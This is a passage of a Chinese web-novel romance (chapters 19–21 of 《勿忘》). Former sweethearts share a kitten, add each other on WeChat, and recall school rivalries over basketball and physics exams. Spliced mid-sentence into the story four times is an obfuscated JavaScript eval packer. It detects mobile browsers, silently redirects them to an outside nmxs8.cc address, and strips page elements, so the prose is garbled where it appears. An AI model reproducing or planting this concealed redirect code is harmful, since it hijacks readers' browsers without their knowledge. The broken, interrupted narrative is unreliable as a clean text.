怎么还乱跳呢。 …… 只可惜这温馨和谐没超过三分钟。 他刷碗时,黎雾又在旁边叽叽喳喳地碎碎念:“我差点都忘了正事儿了,我今天来找你就是想问你。” “你知道我为什么不能把小猫带回家养吗。” “为什么我爸妈不同意啊?” “那小说里这么写,我都好奇了,但我想不起来啊!” “我现在整个人都抓心挠肝啊!” “要不然我怎么会让汤圆落你手上啊!” “你觉得呢?”陈忘野被她磨得不行,反问一句。 “是不是因为他们猫毛过敏?” 陈忘野手上的动作没停,颇为无奈:“怎么可能是这么浅显的理由…” “不是,你就告诉我吧,我现在看这个文看得抓耳挠腮的,看不明白啊。自己的事自己都不知道是为什么。” 见他藏着掖着,黎雾鼓着腮帮子干着急,话没过脑子就出口:“你不是我前男友吗,你肯定知道。” 听到这个词,陈忘野面色一下子冷淡了,他停下手头动作:“我告诉你的你敢信?” “信啊。”黎雾没犹豫。 “那我不说能怎么样?” 他也是破罐子破摔了,低眼,嘴角挤出一抹笑,极为嚣张,“杀了我?” …… 这下黎雾果然不高兴了,陈忘野不用猜都知道她心里在想什么。 无非就是觉得他小气,这点事怎么就不能告诉她呢,无缘无故突然闹什么脾气。 但真不是他别扭或者闹脾气,而是有些东西,本就不该靠他人转述。 遗忘到底是不是救赎。 选择权永远只在她自己手上。 只可惜黎雾是get不到他的良苦用心了。 他“闹脾气”,她也不惯着。 见话题进行不下去,黎雾转身抱着猫就准备回房,又被陈忘野硬着头皮拦下。 他语气闷闷的,“哦对,我们加个微信吧。” 在这时刻,总显得刻意,“你好像换号了,之前的手机号联系不上。” 她转头:“前男友前女友加微信不太合适吧?” 见他面色一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264854|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变,她很认真地问他:“你平常和普通邻居也要加微信的吗?” 说完没犹豫,转身就回房了。 “砰”的一声。 门那头,陈忘野愣在原地。 这下他是真无奈了。 当年就是,她先说他“随便”。然后他看她朋友圈正准备加她的时候,她就把陌生人可见给关了。 几个意思? 但他也没那么小心眼,说实话他根本就很少会去揣测别人的想法,叹了口气,点回去还是给她发了好友申请。 几天也没被通过。 她说好要给他发课表也不发,陈明清那个没用的也不在乎下节是什么课。后来他才知道她根本就不怎么上微信,也没看见申请。 没想到她全都忘了,他倒是记得清楚得很。 像个祥林伯。 时隔多年,这颗子弹兜转一圈,又一次正中他的眉心。 普通,邻居。 倒是个不联系的好理由。 不过他有她的作者信息,大半夜的,陈忘野打开电脑去翻合同和她的作者资料,找到了新手机号。 去微信搜索,跳出了id。 ——雾非雾。 直到做到这步,他才突然发觉,自己实在太像个变态跟踪狂。 还是那句话,普通邻居。 有什么可联系的。 他哼了一声,按灭了手机。 - 第二天一早,陈忘野顶着黑眼圈去敲她的门。 开门第一句,“加个微信?” 黎雾:? 他朝她晃晃手机,面带微笑,凉飕飕的:“给你发申请了,等了你一夜。” 黎雾睡眼惺忪:“啊?哦。” “我想了,我们两个可不是普通邻居。” 他逻辑清晰,一字一句,“不管是不是什么前男友前女友,我们有孩子。” “我孩子还在你手上,我必须时、时、刻、刻掌握煤球的动态。” 说着话,他一把捞过地上瞪着大眼睛,摇尾巴看热闹的小猫。 突然腾空,小猫喵呜一声,被禁锢在陈忘野手中,一颗毛绒绒的黑芝麻汤圆脑袋摇头晃脑。 活脱脱一只被绑架的小可怜,很无辜,委屈巴巴地看向黎雾。 他抱着煤球逼近一步,黎雾下意识地后退,后背抵在门板,被迫抬眼看他,瞬间清醒了大半。 小猫咪的圆脑袋被怼在她眼前,左右晃了两下。 像在震慑。 距离逼仄,更显压迫。 他眉目冷峻,低下头直白地望进她眼睛,轻呵一声,混账气十足。 “我是它爸爸,你是它妈妈。” “这是我们永远都切不断的联系。” …… “明白?” 19.好友·申请 - 明白? 她能明白什么。 陈忘野走后,黎雾搂过汤圆又一次钻进了被窝,小猫在她的怀中呼吸均匀,被她撸着背上的毛发撸得舒服,发出呼噜呼噜的声音,这声波仿佛有平静人心的功效,很治愈。 撸着小猫,刚刚陈忘野的话在她的脑子里打转,她低头轻声问汤圆:“你是我们永远都切不断的联系吗…” 怎么和文里写的不一样呢。 当年不是说什么她是姐姐,是外人。 他的小猫,永远和她没关系。 男人可真是善变。 好吧,她动动手指,还是通过了他的好友申请。 - 昨晚没睡好,黎雾浑浑噩噩迷瞪了一天,晚上随便吃了点东西,又睡着了,醒来看到手机上有好多未读消息。 点开最新一条,是胡桃给她发的表情包。 一行纯文字做成的表情,白底黑字,却颇有震慑力——“不好意思,好为人师了,希望对你有帮助。” 这句话来自于她美国大学的同研究室的学长。 她前些时间宣布休学回国,这个平常没太多交集的学长突然就开始发消息轰炸她。 她对他的印象不多,只记得他不怎么爱打理外表,不太整洁,戴着很厚的眼镜,脸上痘坑很重,坑坑洼洼的,头发不多,洗得也不勤,一绺一绺地挂在额头。 再就是之前她发论文,他问她能不能给他挂个二作,大家都是中国人,互帮互助,下次他发文章也给她挂名,被她拒绝了。 上次他问她休学是怎么回事,是不是心情不好要休息一下。她还没来得及回,他自顾自地就来劲儿了,开始滔滔不绝地输出。 「上次研究室团建,我听到你说你对成家生小孩兴趣不大,那你未来的孩子如果想出生呢?」 「你不给他机会看世界吗?」 「就因为自己的工作,自己的爱好和自己的身体。」 「会不会有些自私呢hhh」 「怎么不回?」 「你家庭幸福?」 「虽然你现在感觉不到我倔,但本质上我是一个很坚持自我的人。我认准的事,雷打不动。」 「尤其是大事上,没有一点妥协的余地。比如,我想要孩子,无论代孕还是什么,没有孩子这个事我零容忍hhh。因为我有信心让我的孩子比我更优秀,我甚至可以为他放弃年薪更高的工作,我愿意陪伴他成长,望子成龙,这也是人生一大幸事。」 接下来就是他那句至理名言。 「哈哈哈。」 「不好意思,好为人师了。」 「希望对你有帮助。」 她当然没回,对着这种自以为是的长篇大论,她甚至懒得动一下手指。 没想到几天没搭理,这哥又开始消息轰炸了。 看来是实在憋不住了,他这才问到重点—— 「我听他们说,你和何与昼闹掰了?」 大半夜黎雾看到这个真的是眼前一黑,准备按灭手机的那一刻,他又来了一句。 「也是,他那种富二代小白脸没什么好的,人也不踏实。」 「我猜你父母也希望你能找一个稳重老实顾家的人托福终身吧,我有挣钱能力,就算你博士不读了找不到工作我也能养着你,只要你愿意给我生孩子就可以。」 「咱们两个知根知底,条件相当,也算合适。」 ??? 原来网上的段子都不是编的啊。 合着在这儿等着她呢,黎雾噗地笑出了声,看到这些消息倒是不生气,只能说又一次见识到了物种多样性。 这种求偶消息她从小到大见得多了,从高中到现在,年纪越大,内容越具体,从“你喜欢什么电影”变成了“我可以养你”,从“你什么时候有空”变成了“咱们两个条件相当”。 那些还带着青涩味道的情感,早就被成年人的世故和算计磨得一干二净。 黎雾不排斥感情,但她对这种“条件式恋爱”天生抗拒。 她小时候听妈妈说过一句话,“感情是得讲条件的,不然凭什么你图他聪明,他就不能图你贤惠呢?” 当时她不太懂,还觉得这话有点道理。现在才明白,这种逻辑背后透着一种根深蒂固的不对等。男人要的是一个“符合标准”的女人,而女人则被期待用自己的温柔、贤惠和牺牲,去换取男人的“条件”。 而她要的,从来都是旗鼓相当。 像尼采说的那样—— 「不要成为他人的附庸,即使是你最心爱的人。 每个人都是监狱也是庇护所。」 以前不懂为什么有人会怀念青春,总也忘不掉初恋那个人,现在是懂了。 十七八岁的少年,身上没有成年人的油腻和疲态,篮球场上球鞋配校裤,姿态昂扬,背脊永远挺得笔直,表达爱意的时候也总是真诚,满腔热情,生机勃勃。 谁会不喜欢呢。 不像这些老男人,这寒冬酷暑的,不知道的还以为开春了,公孔雀们都开始争奇斗艳了。 黎雾面不改色地拨动手指,打下两个字,按了发送。 ——「你谁?」 消息刚发过去,手机“嗡”地一声震动,她以为这学长秒回了,想着干脆把他拉黑得了,省得他骚扰。 黎雾低头解开屏幕,点进消息,没仔细看来件人的头像和名字,反手就是一个拉黑删除大动作。 …… 然后没过两秒,电话“嗡”地就打进来了。 是陈忘野。 她接起电话,“喂,找我什么事?” 那边像是气极反笑了,哼了一声,声音顺着鼻息出来,冷冷地质问:“加了我,又删了我,是怕我向你讨债还是怎么的?” “啊?我没删你啊?”黎雾赶忙低头翻手机,这才发现是删错人了,那学长还赫然躺在好友列表,反倒是陈忘野不见了。 “你刚刚给我发消息了?发的什么消息?” 她解释道:“我搞错了,抱歉啊,我想删一个学长的。我没仔细看来件人,点进去就删错了。” 陈忘野抓住了关键词,“学长?为什么删他?” 本着她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15264855|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有错在先的态度,黎雾一五一十地坦白从宽了,“嗯,他让我给他生孩子。” 那边顿了一秒,语调低了些,问,“那删错了是还没删?” “嗯。”她答。 陈忘野像是后知后觉地回过味来,咬牙切齿道:“那还不赶紧删?那我挂了,你先删吧。” 极罕见的一副很着急的样子,他说完,“嘟嘟嘟”就挂断了。 …… “Gift”吧台旁,灯光昏黄,酒杯碰撞的声音混杂着低声交谈。 陈明清在旁边听了全程,笑得不行,差点从高脚凳上滑下来:“我艹这速度,早上刚加了你晚上就把你删了。牛,不愧是我雾总。” “不过她这感官也挺敏锐的,你和那学长有什么区别?不都是想让她生孩子。” “滚。”陈忘野目不转睛地盯着电脑,吐了个字。 “你查什么呢?”陈明清凑过来,眯着眼看屏幕,“大半夜看什么物理论文啊,靠,全是英语,我眼睛都瞎了,怎么这么多字母,这么多公式。” “这是黎雾研究室发的文章?” “你就那么爱她啊,我天,你不睡觉在这儿看她学长论文啊。真够变态的。” 陈忘野一点好气儿也没有:“你能闭上你那张嘴吗。” “不是啊哥,这么多年,你也该有点长进了吧。女人要靠吸引,单纯跪舔没用的,你得散发你该死的魅力。就像你对其他人那样,你越不屑一顾,人家越爱你。” “我跟你讲据我对黎雾的观察,她也是那种贱兮兮的性格,和你一样,越得不到越想要,征服欲好胜心作祟。” “得不到的永远在骚动,被偏爱的都有恃无恐。” 陈忘野眼皮都没掀一下,“我对她不是征服欲。” “那你以为是什么啊?双向奔赴?” 陈明清快笑喷了,“事实证明,这些年只有你念念不忘,她过得逍遥自在,早把你忘得一干二净,断舍离扔个垃圾都没这么干脆利落的。” 心上又被扎了几把刀子,陈忘野长呼口气。 就在这时,手机叮咚一声,来了条消息。 雾非雾:「我把你加回来了,刚刚的聊天记录不见了,你刚刚给我发的什么消息?再发一遍吧。」 他看着那条消息,指尖在屏幕上停留片刻,回复:「嗯,我发的是,“在?”。」 黎雾:「哦,我电脑也连着微信呢,电脑上聊天记录还在。」 「我看了。你给我发的不是“在?”。」 「是,“在?看看娃。”」 陈忘野:…… 他嘴硬:「你看错了。」 那头黎雾噼里啪啦地打字,信息发来:「?所以你们男的脑子里是不是真的除了娃就没别的了啊。」 配上一张煤球瘫在小床,露出白花花肚皮,睡得四仰八叉的蠢照。 隔着屏幕也能看出她语气凉凉的。 「行了吧。看到了?」 …… 陈忘野有苦说不出。 心说,那我除了和你聊娃,还有什么正当理由找你呢。 20.恃帅·行凶 - 《勿忘》【chapter.8 恃帅·行凶】 - 雪霁初晴,冬日的阳光依旧柔和。 天际没有明晰的边界,淡而无味,像是被水墨晕开的雾蓝丹青,等一抹春红。 日光明净,透过玻璃窗斜斜洒进来,在桌面落下细碎的光斑。 教室最后排,陈忘野被一群男生簇拥着,围在中心。他靠在椅背,神态放松,指尖不经意地敲着桌面,发出轻微的"嗒嗒"声,敷衍又懒散。 刚来没几天,他在大家心中的印象已经彻底从“校霸”转成了“男神”,人缘极好。 胡桃啧啧嘴,看破就戳破:“黎黎,只有你心里的印象转变了吧,我可是一直觉得他挺男神的,那天我就是顺着你和你聊天,附和你一下。” “啊?这么快就倒戈啦?”黎雾撅撅嘴,然后目光飘过去,他正侧着头听旁边人说话,下颌线在阳光下显得格外分明。 她自我反思了两秒,客观评价:“好吧,他确实虽然经常看起来凶巴巴的又嚣张,但其实人没什么架子,还算随和。” “nonono,他看起来也不凶。”胡桃摇头晃脑,食指左右晃晃,“只是拽而已,懒得搭理人。” 紧接着很有经验地补充道,“他们帅哥都这样。传说中的‘恃帅行凶’?” 黎雾狐疑:“还有哪个帅哥啊?” 胡桃:“初二弟弟啊。” “哦…” “我哥那可是学习好,打球技术又好。”陈明清也不知道从哪冒出来,冷不丁地挤到她们中间,加入这场女生对话。 他一脸得意,“他就是我们男人都会佩服的类型,靠实力取胜,还会装逼,这逼就该给他装。” 然后抑扬顿挫,绘声绘色地给她们讲了第n遍,前几天他们和特长班抢篮球场地的场景。 特长班也是附中特色,包括体育,艺术和科技。这些学生作为特长生被招进来,文化课抓得不紧,日常主要任务就是代表学校参加各种赛事,为学校争夺荣誉。 想当年,陈明清就是走的特长生进的附中初中部。 当时是黎雾爸托人帮他找到的科技特长生这条路,一群小孩子去参加所谓的“单片机”小车比赛,黎爸找了公司里的科技组,专门给他定制了一个带有高级传感器的“单片机”小车,输入最短的指令却有最高的精度,轻轻松松夺了金牌,被其他小朋友恨得牙痒痒。 要想进附中,超高的智商,超强的实力,超硬的关系,或者超无敌的“钞能力”,你总要有一样。 话题扯得有点远,总而言之,除了陈明清,一班这些靠智商厮杀进附中的学生,遇到了靠体力进附中的体育特长生,在争夺篮球场这件事上实在是没有半点胜算。 这两年他们就从来都没抢到过球场,每次只能眼巴巴地守在篮球场边,等特长班打完才轮到他们,要么就是中午不吃饭先去打球,等特长班吃完回来就得把场子还给人家。 陈明清继续在旁边手舞足蹈,唾沫横飞:“那天特长班又来和我们抢场地,结果我哥倒好,那天到了场上直接就要和人硬刚,很嚣张啊,丢给特长班一句——‘三对三,输了我们一个月不抢场子,赢了这学期都归我们’。” “这条件,多损啊。结果他们还答应了,然后让陈忘野挑人,他好死不死挑了他们班最强的三个人。” “前期压着节奏打,故意让对方以为能轻松压制我们,结果对面人心思各异,越打越急,他趁机一波连得六分,居然赢了。” 那天午休的时候黎雾和胡桃路过篮球场,正巧看到了这幕。 打篮球与其说是靠身体素质,不如说是靠战术头脑。他总能找到最佳站位,策划出巧妙的传切配合。 当时黎雾站在场边刚好听到他在指导,"你得先让对手以为你要投篮,身体重心往上提,他防守重心一跟上来,你立刻变向突破,这个时候的空档是最大的。" 比赛继续。 陈忘野个子很高,肩线利落,即便在一群校队球员中间,依旧毫不逊色,帅得突出。 不同于其他人花哨的篮球服,他只套了件白校服,却莫名衬得整个人清朗如松。袖口随意卷到手肘,露出的腕骨嶙峋分明,在阳光下白得晃眼。 “喂!”场上有男生冲他喊,他却忽然偏头。 ——就这一瞬。 汗湿的额发扫过他眉骨,不同于往日的懒散傲慢,睫毛下那双眼黑得发亮。目光相撞时他明显顿了下,随即唇角一扬。 那笑又野又干净,未开春,却活像盛夏里“嘭”的一声撬开的汽水,滋啦啦冒着泡往人心里钻。 不得不说,确实是有那么一点点让她心动。 黎雾错开眼神。 “他笑什么啊?”她小声嘟囔。 “撩你呢呗。”胡桃不以为意。 “我?”黎雾指指自己。 “不然呢?”胡桃蹙眉,“你看看这场上还有别人吗?” 这句话把黎雾也给问懵了,她指指周围一圈乌泱泱看热闹的学生,“这不全是吗?” “我的意思是。”胡桃意味深长,扬扬下巴,“你看看他的眼睛里,除了你,还有别人吗。” “哈?”黎雾不适应这冒粉红泡泡的氛围,戳了一把她的腰,笑道,“桃子,少看点脑残校园文。” “不看校园文。”胡桃也笑,躲闪着和她闹,“就看你俩行了吧。” “不行不行不行。” “就行就行就行。” …… 放飞的思绪被陈明清的聒噪声拉回来。 “后来我们问他是不是看出特长班那三个人全是单打独斗的类型,个个都想突出自己,根本配合不起来。” “他说确实是有这个原因,但最重要的是,其实选谁赢的概率都不大。咱们是光脚的不怕穿鞋的,选最强的,输了不丢人。赢了,那就是让对方心服口服。” “反正本来也没场,输了大不了就继续没有呗。人活着,最没用的就是面子。” “那人活什么呢?”黎雾有点走神,顺着问下去。 “我哥说了。”陈明清放慢语速,挑眉,模仿着陈忘野的表情和语气,“人活一口气,该争就得争。” 这话由陈明清说出口总显得中二,要是脑补成陈忘野说的,倒是莫名相配。 她甚至能想象出他漫不经心倚在球场边,指间转着半瓶矿泉水,眼皮懒洋洋一掀,嗓音里带着点混不吝的笑—— “输赢算什么?但该争的,一寸都不能让。” 毕竟他可是能大言不惭说出“比赛第一,友谊第二”的主啊。 这不是凭空的脑补,而是黎雾亲眼所见。 …… 前些天,抢猫大战的“数7”游戏。 最终以黎雾的体力不支落败,而结束。 陈明清可以作证,绝不是她在嘴硬,明明输给了人还不承认。 那天下午他足足在房间里打了三个小时的游戏,通关时眼睛酸得发红,结果一推门,看见客厅里那两位才叫一个杀气腾腾, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303896|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杀红了眼啊。 “24352。” 陈明清僵在原地。 几? 这tm是人类能心算出来的数??? 还没等他CPU烧干,就听见他哥面不改色:“过。” 黎雾整个人歪在抱枕堆里,看起来已经累得不行了,脸颊泛着不自然的红晕,声音飘得像游魂,“24354。” "......我饿了。"陈明清转身就往厨房走,"你俩该不会等我吃完饭还没结束吧?" 身后传来机械般的报数声: “24355。” “24356。” “过。” 艹,两个变态计算器。 …… 等陈明清啃完三包薯片回来,战局依然胶着。 黎雾已经快化成地毯上的一滩水,本来想撸把猫,伸出手,手指刚碰到猫尾巴,黑白毛团就逃脱了,嗖地窜上陈忘野的身。 陈忘野此时正大剌剌地伸展着腿靠在沙发背上,没过多表情,乍一看游刃有余的模样,细看才发现,他眼神已经有点涣散了。 他没设防,反应也不及时,小猫跳上来,猫爪精准踩中某要害部位时,那张冷淡的脸瞬间裂开—— 他痛得浑身一抽,弓腰蜷成炸虾,喉结滚动着挤出句:"艹..." 肇事猫歪头:"喵?" 陈明清差点笑出声。 看看他哥现在哪还有平时“高岭之花”的样子,发丝凌乱眼尾泛红,表情失控动作幼稚。行为举止都染着某种,“少年气”的鲜活? 会痛会闹,连脏字儿都会往外冒了。 这才是他哥的本体吧。 还真是拜某人所赐。 而更绝的是黎雾。 她眼神涣散得像是被抽了魂,视线却死死钉在陈忘野□□位置。察觉到她视线,小猫仿佛接收到某种脑电波指令,突然又蹦起来,“啪”地往回一踩,又是一次重击。 "我操。"陈明清看着都疼,龇牙咧嘴地抽气儿,"哥,抢个猫至于断子绝孙?" 合着这小猫是在帮黎雾呢… 陈忘野疼得额角青筋直跳,在沙发上滚了两圈,眼睛更红了,下颌线也发紧。 挣扎过后,他一把拎起猫后颈:"明天就带你去绝育。" "都当太监啊?"黎雾脱口而出。 空气凝固两秒。 "我好得很。"陈忘野嘴硬,骨头也硬,把猫按在怀里,嘴角抽搐,耳根红得能滴血。 继续报数,“31254......” “不是。”陈明清都看不下去了,“…哥,你就不能让着她点?” “放过她,也放过自己。” “比赛最重要的就是尊重对手。” 陈忘野咬牙切齿,“比赛第一,友谊第二。” 大概是被他的“体育精神”给感动了吧,黎雾最终还是摇旗投降了。 但只有在她心里才知道,她其实根本没有条件和能力带猫回家,费力争夺也只是想测试他是否真诚而已。 还好,他并没让她失望。 …… 临走时,黎雾听到陈明清在屋内苦口婆心地劝道:“唉,你可小心啊,赢了孩子,输了媳妇。” “媳妇?”似乎是听这词汇刺耳,陈忘野语气毫不客气,"她什么时候成你能安排的人了?” “你懂吗?”他话锋一转,声音低沉了几分。 “不争不抢。” “才是,人猫两空。” 21.你是·新胎 - 《勿忘》【chapter.9 你是·新胎】 - 上课铃响起,人群如退潮般散去。 各科课代表在前面发上次摸底考的试卷,纸张摩擦发出细小的沙沙声。 “我真的好讨厌这个环节啊,早知道这样我就应该坐第一排。”胡桃嗷了一声瘫在桌上,眉头皱在一起,显得很哀怨。 “平常作业本从前往后传就算了,为什么考卷也要从前往后传啊。能不能考虑一下学生的心理健康啊。” 固执地没选“浇花位”,陈忘野依旧占着教室最角落的靠窗宝座。黎雾坐在他前面,右边隔着条过道就是胡桃和陈明清。 胡桃像只伸长脖子的鹅,哭丧着脸半个身子探出座位。卷子从前往后一传一,像击鼓传花般经手七八个人才能到她手里,每个经手的人都忍不住偷瞄一眼分数。 不过她不是最后一排,后面还坐着个倒霉鬼,她手里拎着两张卷子,回头笑得得意:“哈哈哈哈看到你的卷子我现在没那么伤心了。” 陈明清坐不住了,站起来一把夺过她手里的卷子,“拿来吧您内。” 物理满分120,他自己80,胡桃88。 “也没差多少啊,跟我比有什么意思。”他指指侧前方,“你和黎雾比。” “和黎雾比有什么意思,我就和你比。” 听着隔壁两人一直嚷嚷,黎雾都有些共情了,恰好语文卷子从前往后传过来,到她手里只剩两张。 一张是她的,一张是陈忘野的,这对比实在有点惨烈。 一张144,另一张还不到70。 知道大家不想让别人看到自己的分数,秉持着非礼勿视的心态,她好心地闭着眼睛把卷子传到了身后。 她非礼勿视,身后那位可没她这么彬彬有礼,他靠在座位长腿敞开,手里捏着她刚传过来的一张101分的物理卷子,挑起眉稍观摩了两分钟,慢慢悠悠地放下了,什么也没说。 …… 这节是物理课。 原本的物理老师今天因病请假,代课老师已经站在讲台。 她40岁出头的年纪,行事风风火火,凶起来的时候脸上沟壑纵深,因表情神似前些年爆火的暴走漫画表情包,被大家“亲切”地称为“暴漫王”。 “暴漫王”虽然性格火辣,言辞犀利,但教学水平没得挑。 再难的题目到她手里,三言两语就能讲得明明白白。虽然只给一班代过几次课,却让所有学生心服口服。 可惜前些年她休产假调养身体,离开学校好一阵子。比起其他老师,资历就浅了些。 一班的任课老师都是各科教研组长,原本的物理老师也不例外——是个头顶锃亮的中年男人。 说实在的,这位组长的教学水平跟王老师比,差得不是一星半点。但人家后台硬,又是男的,从没因为家庭原因耽误工作,这才坐上了组长的位置。 实属才不配位。 "都看到分数了吧?"王老师清了清嗓子,教室里顿时鸦雀无声。 “这次考试最后加了一道10分的竞赛题,满分是120+10。竞赛题答出来的人不多,但对于一班来说,整体平均分也有点低了。” "两极分化严重,平均分102。一半人在110分左右,另一半只有80来分。" 她敲了敲讲台,"现在都高二下学期了,80分的同学该有点危机感了。最低分80,最高分......" 黎雾才后知后觉,小声嘟囔,“我怎么没有物理卷子。” 身后传来"咚咚"两声轻响。 陈忘野倾身过来,在身后勾起手指,骨节轻轻敲了两下她的椅背,“看完了?换换。” 说着递过来她的卷子——101+0分。 这分数不上不下,很尴尬,正好没到平均分。 黎雾斜眼瞥到分数立即抽走了卷子,小声嘟囔一句,语气带些嗔怪:“哦,你发现我传错了怎么不早说。” “我以为你是想看答案。” “哈?” “我的卷子呢?” “我哪知道你的卷子在哪。” “不在你这儿?” 台上的“暴漫王”继续发话,“最高分是满分,120+10,陈忘野同学。” 教室里响起一阵"哇"声。 其实这也不算新闻了,前几天表彰榜就贴出来了。刚公布时大家还有闲心八卦,新鲜劲儿过去,现在看到自己的分数,谁还有心思捧别人? 稀稀拉拉的掌声,纯粹是给个面子。 一班的学生个个心高气傲,谁愿意天天当别人的陪衬? 黎雾回头竖起大拇指:"牛还是你牛。"又忍不住吐槽,"不过说自己的卷子是答案,也太......" 话没说完,“暴漫王”手里举起陈忘野的满分卷:"我跟主任申请了,把这张卷子贴到表彰榜上做范例。” “卷面工整,步骤清晰,解题过程比标准答案还清楚。" 陈忘野起身上台领卷子,但神态还是懒洋洋的,没当回事。 还没回到座位,半路就被黎雾截胡,她“嗖”地抽走他的卷子,仰头朝他笑笑:“我近水楼台先得月,让我先观摩一下。” 还真是,只有名字写得龙飞凤舞。 卷面干净整齐,连草稿都写得横平竖直,工工整整。 比答案还清楚? 至于吗,说那么玄乎。 黎雾仔细一看最后那道大题——标准答案写得云里雾里,他的解题步骤却一目了然。 确实有点水平。 - 课间,陈忘野刚起身准备去贴卷子,一把被黎雾按在课桌,她拿出手机,“等下!等我拍张照你再去贴。” 然后生怕他觉得吃亏了般从抽屉里掏出一沓卷子,摊在他面前,“作为交换,我把我的其他科卷子给你参考。” 看着那一排接近满分的试卷,陈忘野低头,莫名其妙地笑了下。 “你笑什么?”黎雾抬眼。 他靠在桌边看她,半边脸浸在阳光里,显得居高临下。 他伸手随意翻了翻试卷,语调闲散,又拽又欠:“除了语文比我高点,其他好像也没什么参考的必要。” “好吧。”黎雾也不跟他计较,收走了其他卷子,只留下语文,然后继续专心地低头拍照。 周遭人声嘈杂,她忽然问了句,声音不大,像在自言自语:“你觉得物理简单吗?” 陈忘野显然没料到这个问题,不明所以,过了半晌才应了一声。 “我怎么觉得这么难呢,别的科都没那么难,就物理总是差点意思。” “嗯确实,挺神奇的。”他扫了眼她101分的物理卷,“你所有科都接近满分。物理……”话说到一半戛然而止。 虽然没有明说,但黎雾明白他的意思。 她的物理虽然不能说很差,但还没到平均分。和她其他科的成绩相比,确实差得不是一星半点。 这时胡桃凑过来插话:“还不是因为老师讲得烂,都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15323128|163073||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠自学。” “嗯?我感觉这老师讲得挺清楚的啊。” “这你就不知道了。”胡桃解释,“她只是来代课的,我们班原本那个物理老师水平可差了。你记得吧,就是我之前和你说过的那个‘杨过’,过两天等他回来你就懂了。” “他每天上课不好好讲课,就跟那抓风纪管纪律。我之前说我们班不管谈恋爱对吧,但可千万别在他的课上做小动作,分分钟给你记过。” 胡桃偷偷指了指黎雾,小声打报告:“黎黎挺讨厌他的,之前和他有过冲突,所以她物理课是一点也不听。” “冲突?”陈忘野挑眉。 胡桃看了眼黎雾,正犹豫要不要说,黎雾忽地抬头,打断对话,“你知道咱们班有互帮互助小组吧。” 她问陈忘野,“你愿意跟我一组吗?” 闻言,他站在原地没应声。 不知道是在想冲突到底是怎么一回事儿,还是单纯地起上范儿了,盯着她看了半晌,才慢悠悠答:“我考虑一下吧。” “你不跟我一组也得跟别人一组啊。”黎雾也不强逼,“你愿意跟陈明清一组?” “你怎么不找胡桃。”他问。 胡桃哭丧个脸:“我也想和黎黎一组啊!但是同组的两个人,彼此都必须得有成绩超过对方的科目才行,我没有一科比她高啊。” “所以她之前和谁?” 胡桃指了指教室角落里一个清秀的男生,小声说:“年级第二。” 陈忘野轻嗤一声,“那怎么不继续找他?” “他上学期期末的时候和黎黎表白了。现在情况就有点尴尬。” 他指指自己,没忍住笑了,“所以我是备胎?” 胡桃连忙摆手,生怕他会误会,满脸堆笑地解释道:“不是不是,你是新胎。” …… 听了这话,陈忘野脸色难得出现了些变化,一阵青一阵白,非常复杂。 陈明清刚上完厕所回来,正好看见他哥被人“欺负”:“哥,你表情怎么跟吃了屎似的。” 得知是互帮互助小组的事儿,他一把揽过他哥的肩,显得很豪爽:“不行你就和我一组,我语文分比你高。” 他凑到他耳边,说坏话还怕当事人听见,“其实你要是烦黎雾,觉得她聒噪吵闹花花绿绿像个蝴蝶又像个蜜蜂,不和她一组也没事。你语文全班最低,咱们班同学任你挑。” “烦?”陈忘野很嫌弃地看了眼陈明清,不看不要紧,一看更嫌弃了。 他上下扫视了他两圈,蹙眉,“你这什么打扮,我这是走错片场走到神雕侠侣去了?” 也不知道是哪惹着他了,嘴像淬了毒,“从窗户外面飞来只大雕。” “什么雕!” 陈明清果然跳脚,“知道爷爷这一身行头有几万块吗?” 他头发上涂满了发胶,向上一绺一绺地梳成大背头,一身宽松又不合身的黑色貂毛裘大衣垂到脚踝,只露出一小节校裤边和一双闪瞎眼的带刺铆钉老爹鞋。 活脱脱的一只大雕成精。 “哈哈哈哈哈哈哈笑死我了。”黎雾也跟着附和,“所以说啊,我都不看他。” 陈忘野难得和她意见一致,点点头:“对于丑人,细看是一种残忍?” “你们俩这一唱一和的谈恋爱呢?” 